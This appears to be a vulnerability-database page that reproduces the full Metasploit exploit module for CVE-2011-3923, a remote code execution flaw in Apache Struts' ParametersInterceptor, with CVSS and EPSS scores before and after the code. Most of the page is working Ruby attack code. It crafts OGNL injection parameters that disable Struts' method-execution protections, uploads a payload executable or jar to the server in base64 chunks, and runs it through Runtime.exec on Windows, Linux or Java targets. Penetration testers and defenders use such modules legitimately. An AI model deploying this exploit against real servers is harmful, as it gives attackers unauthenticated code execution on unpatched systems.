Lucene search

K
metasploitMeder Kydyraliev, Richard Hicks <[email protected]>, mihi, Christian Mehlmauer <[email protected]>MSF:EXPLOIT-MULTI-HTTP-STRUTS_CODE_EXEC_PARAMETERS-
HistoryMar 21, 2013 - 1:40 p.m.

Apache Struts ParametersInterceptor Remote Code Execution

2013-03-2113:40:16
Meder Kydyraliev, Richard Hicks <[email protected]>, mihi, Christian Mehlmauer <[email protected]>
www.rapid7.com
58

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.95 High

EPSS

Percentile

99.3%

This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret parameter values as OGNL expressions during certain exception handling for mismatched data types of properties which allows remote attackers to execute arbitrary Java code via a crafted parameter.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ParametersInterceptor Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
        for the use of parentheses which in turn allows it to interpret parameter values as
        OGNL expressions during certain exception handling for mismatched data types of
        properties which allows remote attackers to execute arbitrary Java code via a
        crafted parameter.
      },
      'Author'         =>
        [
          'Meder Kydyraliev', # Vulnerability Discovery and PoC
          'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
          'mihi', #ARCH_JAVA support
          'Christian Mehlmauer' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-3923'],
          [ 'OSVDB', '78501'],
          [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => '2011-10-01',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
          OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
          OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
          OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
    ])
  end

  def parameter
    datastore['PARAMETER']
  end

  def temp_path
    return nil unless datastore['TMP_PATH']
    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end

  def get_parameter
    retval = {}
    return retval unless datastore['GET_PARAMETERS']
    splitted = datastore['GET_PARAMETERS'].split('&')
    return retval if splitted.nil? || splitted.empty?
    splitted.each { |item|
      name, value = item.split('=')
      # no check here, value can be nil if parameter is &param
      decoded_name = name ? Rex::Text::uri_decode(name) : nil
      decoded_value = value ? Rex::Text::uri_decode(value) : nil
      retval[decoded_name] = decoded_value
    }
    retval
  end

  def execute_command(cmd)
    junk = Rex::Text.rand_text_alpha(6)
    inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
    inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
    uri = normalize_uri(datastore['TARGETURI'])
    resp = send_request_cgi({
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
    })
    resp
  end

  def exploit
    #Set up generic values.
    payload_exe = rand_text_alphanumeric(4 + rand(4))

    append = false
    #Now arch specific...
    case target['Platform']
    when 'linux'
      pl_exe = generate_payload_exe
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
      chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
    when 'java'
      payload_exe = "#{temp_path}#{payload_exe}.jar"
      pl_exe = payload.encoded_jar.pack
      exec_cmd = ''
      exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
      exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
      exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
      exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
      exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
    when 'win'
      pl_exe = generate_payload_exe
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    print_status("Uploading exploit to #{payload_exe}")
    #Now with all the arch specific stuff set, perform the upload.
    #109 = length of command string plus the max length of append.
    sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
    chunk_length = 2048 - sub_from_chunk
    chunk_length = ((chunk_length/4).floor) * 3
    while pl_exe.length > chunk_length
      java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
      pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
      append = true
    end
    java_upload_part(pl_exe, payload_exe, append)
    print_status("Executing payload")
    execute_command(chmod_cmd) if target['Platform'] == 'linux'
    execute_command(exec_cmd)
    register_files_for_cleanup(payload_exe)
  end

  def java_upload_part(part, filename, append = false)
    cmd = ""
    cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
    cmd << "#f.close()"
    execute_command(cmd)
  end

  def check
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.95 High

EPSS

Percentile

99.3%